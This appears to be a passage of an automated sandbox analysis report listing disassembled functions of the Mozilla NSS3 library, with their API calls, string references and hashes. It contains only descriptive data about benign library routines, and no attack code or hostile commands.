String ID: Pjl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-390522927
Opcode ID: 96851af65d26084832695fb2953972f1081b027aa0617f1ad386d6cdbdd3de28
Instruction ID: 2155a0be928d8b3cf01510057e38c3bfc6347533db1dd7f7a93dee0b73616e7f
Opcode Fuzzy Hash: 96851af65d26084832695fb2953972f1081b027aa0617f1ad386d6cdbdd3de28
Instruction Fuzzy Hash: DD5149B1A081116BF3009672AC55BBB36669FD2318F144638E81597FC1FB35E91E82EF

Function 6C5C8E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C5C8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C8EB3

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C5C8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C5C8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C8F29
PR_LogPrint.NSS3(?,00000000), ref: 6C5C8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C5C8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C8F80
PR_LogPrint.NSS3(?,00000000), ref: 6C5C8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C5C8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C5C8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C5C9047

Strings

hWrappingKey = 0x%x, xrefs: 6C5C8F01, 6C5C8F11
C_WrapKey, xrefs: 6C5C8E71
hSession = 0x%x, xrefs: 6C5C8E8E, 6C5C8E9E
hKey = 0x%x, xrefs: 6C5C8F5B, 6C5C8F6B
pMechanism = 0x%p, xrefs: 6C5C8EE0
(CK_INVALID_HANDLE), xrefs: 6C5C8EAC, 6C5C8F1F, 6C5C8F79
*pulWrappedKeyLen = 0x%x, xrefs: 6C5C9042
njl, xrefs: 6C5C8FEC, 6C5C9023
pulWrappedKeyLen = 0x%p, xrefs: 6C5C8FC8
pWrappedKey = 0x%p, xrefs: 6C5C8FAD

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$njl
API String ID: 1003633598-1292919556
Opcode ID: fa36d70d4564ebff2516b1253462277baaa377293e7bd2cea6a2f09e102b12b3
Instruction ID: 3e5d4b2fa8167266dbcbf32530ce8316cb130999f9cfa24c08c78972535cfbbb
Opcode Fuzzy Hash: fa36d70d4564ebff2516b1253462277baaa377293e7bd2cea6a2f09e102b12b3
Instruction Fuzzy Hash: 4051A331701155EBDB00DF95ED88F9A77B6AB8230CF04401AE51967A11E7309D29CF9F

Function 6C5F4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000,00000000,00000001), ref: 6C5F5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2,00000000), ref: 6C5F5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5F505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C5F5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C5F50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A75C2), ref: 6C5F50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5F50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5F50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F5153
free.MOZGLUE(?), ref: 6C5F516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C5F517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5F5195

Strings

library=, xrefs: 6C5F5043
config=, xrefs: 6C5F509B
name=, xrefs: 6C5F5057
parameters=, xrefs: 6C5F506B
nss=, xrefs: 6C5F5083

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 0ea55b87b6575d352384f07c2364ff9cb617134500d5e55845996302a1eb6934
Instruction ID: 516691a15ec36ff25e27b9166c430682128a4c27f663196cea11d9e9f0d63af9
Opcode Fuzzy Hash: 0ea55b87b6575d352384f07c2364ff9cb617134500d5e55845996302a1eb6934
Instruction Fuzzy Hash: 8051E9B5A01215ABEB04DF24DC41EAF37A89F06248F544420EC66E7741E725F91ACFB6

Function 6C5F4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C5E4F51,00000000), ref: 6C5F4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C5E4F51,00000000), ref: 6C5F4C5B
PR_smprintf.NSS3(6C6CAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C5E4F51,00000000), ref: 6C5F4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C5E4F51,00000000), ref: 6C5F4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C5E4F51,00000000), ref: 6C5F4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C5E4F51,00000000), ref: 6C5F4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C5F4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C5F4DA2
free.MOZGLUE(?), ref: 6C5F4DB9
free.MOZGLUE(00000000), ref: 6C5F4DCF

Strings

rootFlags, xrefs: 6C5F4D47
%s,%s, xrefs: 6C5F4C4B
rust, xrefs: 6C5F4D22
0x%08lx=[%s %s], xrefs: 6C5F4D80
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C5F4D9D
timeout, xrefs: 6C5F4C91
ootT, xrefs: 6C5F4D1A
every, xrefs: 6C5F4CA1
slotFlags, xrefs: 6C5F4D34
any, xrefs: 6C5F4C96

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: b83fdc9a0318d7e03c01db3ba3fc6ec6deb4284a9e212ccfe2deeb1eade879d5
Instruction ID: 869e04399557e2d0c0c2a48f0d61de0685f05e5915856b314b512fe753924b4f
Opcode Fuzzy Hash: b83fdc9a0318d7e03c01db3ba3fc6ec6deb4284a9e212ccfe2deeb1eade879d5
Instruction Fuzzy Hash: D2418EB1900141ABD7159F599C84ABB3A75AF9630CF084125EC268B701E731ED26CFEB

Function 6C5D6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C5D6943
Part of subcall function 6C5D6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C5D6957
Part of subcall function 6C5D6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C5D6972
Part of subcall function 6C5D6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C5D6983
Part of subcall function 6C5D6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C5D69AA
Part of subcall function 6C5D6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C5D69BE
Part of subcall function 6C5D6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C5D69D2
Part of subcall function 6C5D6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C5D69DF
Part of subcall function 6C5D6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C5D6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C5D6D8C
free.MOZGLUE(00000000), ref: 6C5D6DC5
free.MOZGLUE(?), ref: 6C5D6DD6
free.MOZGLUE(?), ref: 6C5D6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C5D6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5D6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5D6E72
free.MOZGLUE(?), ref: 6C5D6EA7
free.MOZGLUE(?), ref: 6C5D6EC4
free.MOZGLUE(?), ref: 6C5D6ED5
free.MOZGLUE(00000000), ref: 6C5D6EE3
free.MOZGLUE(?), ref: 6C5D6EF4
free.MOZGLUE(?), ref: 6C5D6F08
free.MOZGLUE(00000000), ref: 6C5D6F35
free.MOZGLUE(?), ref: 6C5D6F44
free.MOZGLUE(?), ref: 6C5D6F5B
free.MOZGLUE(00000000), ref: 6C5D6F65

Part of subcall function 6C5D6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C5D781D,00000000,6C5CBE2C,?,6C5D6B1D,?,?,?,?,00000000,00000000,6C5D781D), ref: 6C5D6C40
Part of subcall function 6C5D6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C5D781D,?,6C5CBE2C,?), ref: 6C5D6C58
Part of subcall function 6C5D6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C5D781D), ref: 6C5D6C6F
Part of subcall function 6C5D6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C5D6C84
Part of subcall function 6C5D6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C5D6C96
Part of subcall function 6C5D6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C5D6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5D6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5D6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C5D6FF4

Strings

+`^l, xrefs: 6C5D6D0D

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`^l
API String ID: 1304971872-2124177834
Opcode ID: fb90b817f1a36a88273355cdad6f74f54b13d903191ff6c3dfd8a69434533b3b
Instruction ID: b268f8c7c7ceaab629b0eb70e3f6f5e8fb9f28ef05526ca6b3c84ef4558c1556
Opcode Fuzzy Hash: fb90b817f1a36a88273355cdad6f74f54b13d903191ff6c3dfd8a69434533b3b
Instruction Fuzzy Hash: F1B13CB0E0131A9BDF00DBADDC84B9E7BB4AF09348F150925E815E7601EB31F916CB69

Function 6C581FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C582007
calloc.MOZGLUE(00000001,00000084), ref: 6C582077
calloc.MOZGLUE(00000001,0000002C), ref: 6C5820DF
TlsSetValue.KERNEL32(00000000), ref: 6C582188
PR_NewCondVar.NSS3 ref: 6C5821B7
calloc.MOZGLUE(00000001,00000084), ref: 6C58221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C5822C2
GetLastError.KERNEL32 ref: 6C5822CD
free.MOZGLUE(00000000), ref: 6C5822DD

Part of subcall function 6C580F00: PR_GetPageSize.NSS3(6C580936,FFFFE8AE,?,6C5116B7,00000000,?,6C580936,00000000,?,6C51204A), ref: 6C580F1B
Part of subcall function 6C580F00: PR_NewLogModule.NSS3(clock,6C580936,FFFFE8AE,?,6C5116B7,00000000,?,6C580936,00000000,?,6C51204A), ref: 6C580F25

Strings

X ol, xrefs: 6C58218E
T ol, xrefs: 6C582361

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T ol$X ol
API String ID: 3559583721-2531076061
Opcode ID: 2159427a16f8b9b7ddde774f269220970a58722745ca17f4ac22ea030d926f95
Instruction ID: 7466ee54d8c34b0e2a46dc72d77959a1e3144fe607b9ff861f7a004f18ac3ccf
Opcode Fuzzy Hash: 2159427a16f8b9b7ddde774f269220970a58722745ca17f4ac22ea030d926f95
Instruction Fuzzy Hash: 00919CB16063219FDB60DF3ADC89B5B7FF5BB0A704F00442AE46AD6A40DB709404CF99

Function 6C59DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C59DDDE

Part of subcall function 6C5F0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5987ED,00000800,6C58EF74,00000000), ref: 6C5F1000
Part of subcall function 6C5F0FF0: PR_NewLock.NSS3(?,00000800,6C58EF74,00000000), ref: 6C5F1016
Part of subcall function 6C5F0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5987ED,00000008,?,00000800,6C58EF74,00000000), ref: 6C5F102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C59DDF5

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C59DE34
PR_Now.NSS3 ref: 6C59DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C59DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C59DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C59DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C59DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C59DEF0
PR_smprintf.NSS3(6C6CAAF9,(NULL) (Validity Unknown)), ref: 6C59DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C59DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C59DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C59DF33
free.MOZGLUE(00000000), ref: 6C59DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C59DF4B
free.MOZGLUE(00000000), ref: 6C59DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C59DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6C59DEFA
%s%s, xrefs: 6C59DEEB
{???}, xrefs: 6C59DE8B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: dda3c4cb5caa5169b60986c3ff007438fb24336560dd81d7d22f71bc0a694f7e
Instruction ID: 5294e48771cb67caa2db950ae3fbbc1e53dab7659e7e25d0f5738348bfb0af53
Opcode Fuzzy Hash: dda3c4cb5caa5169b60986c3ff007438fb24336560dd81d7d22f71bc0a694f7e
Instruction Fuzzy Hash: F051D2B1E002419BDB10DF659C41AAF7AF8EF95398F144069E80AEBB00E731DD15CBE6

Function 6C5CAF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C5CAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5CAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5CAF83

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5CAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C5CAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C5CAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C5CAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C5CB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C5CB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C5CB041

Strings

ulDataLen = %d, xrefs: 6C5CB00A
pSignature = 0x%p, xrefs: 6C5CB023
pData = 0x%p, xrefs: 6C5CAFEF
hSession = 0x%x, xrefs: 6C5CAF5E, 6C5CAF6E
(CK_INVALID_HANDLE), xrefs: 6C5CAF7C
C_SignMessage, xrefs: 6C5CAF41
pulSignatureLen = 0x%p, xrefs: 6C5CB03C
njl, xrefs: 6C5CB059, 6C5CB093
ulParameterLen = 0x%p, xrefs: 6C5CAFD4
pParameter = 0x%p, xrefs: 6C5CAFB9

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$njl
API String ID: 1003633598-3022566009
Opcode ID: b1d957d01c03ef8870b5d19f54d7087b70b25c59fb0cc26d6ec5a17f5554f24b
Instruction ID: f2b12697edba0fe0c03f3c9868ff336752cfdac24e226e079fd531a2a537cc0e
Opcode Fuzzy Hash: b1d957d01c03ef8870b5d19f54d7087b70b25c59fb0cc26d6ec5a17f5554f24b
Instruction Fuzzy Hash: F941B375601144EFDB00DF95ED88E8A7BB2EB8230DF484029E51867A11D7308C69CFAF

Function 6C5D2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C5D2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C5D2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C5D2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C5D2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C5A4F1C,?,-00000001,00000000,?), ref: 6C5D2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C5A4F1C,?,-00000001,00000000), ref: 6C5D2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C5D2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C5D2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C5D2EF8
PR_Unlock.NSS3(?), ref: 6C5D2F62
TlsGetValue.KERNEL32 ref: 6C5D2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C5D2F9E
PR_Unlock.NSS3(?), ref: 6C5D2FCA
TlsGetValue.KERNEL32 ref: 6C5D301A
EnterCriticalSection.KERNEL32(?), ref: 6C5D302E
PR_Unlock.NSS3(?), ref: 6C5D3066
PR_SetError.NSS3(00000000,00000000), ref: 6C5D3085
PR_Unlock.NSS3(?), ref: 6C5D30EC
TlsGetValue.KERNEL32 ref: 6C5D310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C5D3124
PR_Unlock.NSS3(?), ref: 6C5D314C

Part of subcall function 6C5B9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C5E379E,?,6C5B9568,00000000,?,6C5E379E,?,00000001,?), ref: 6C5B918D
Part of subcall function 6C5B9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C5E379E,?,6C5B9568,00000000,?,6C5E379E,?,00000001,?), ref: 6C5B91A0

Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807AD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807CD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807D6
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C51204A), ref: 6C5807E4
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,6C51204A), ref: 6C580864
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C580880
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,6C51204A), ref: 6C5808CB
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808D7
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808FB

PR_SetError.NSS3(00000000,00000000), ref: 6C5D316D

Memory Dump Source

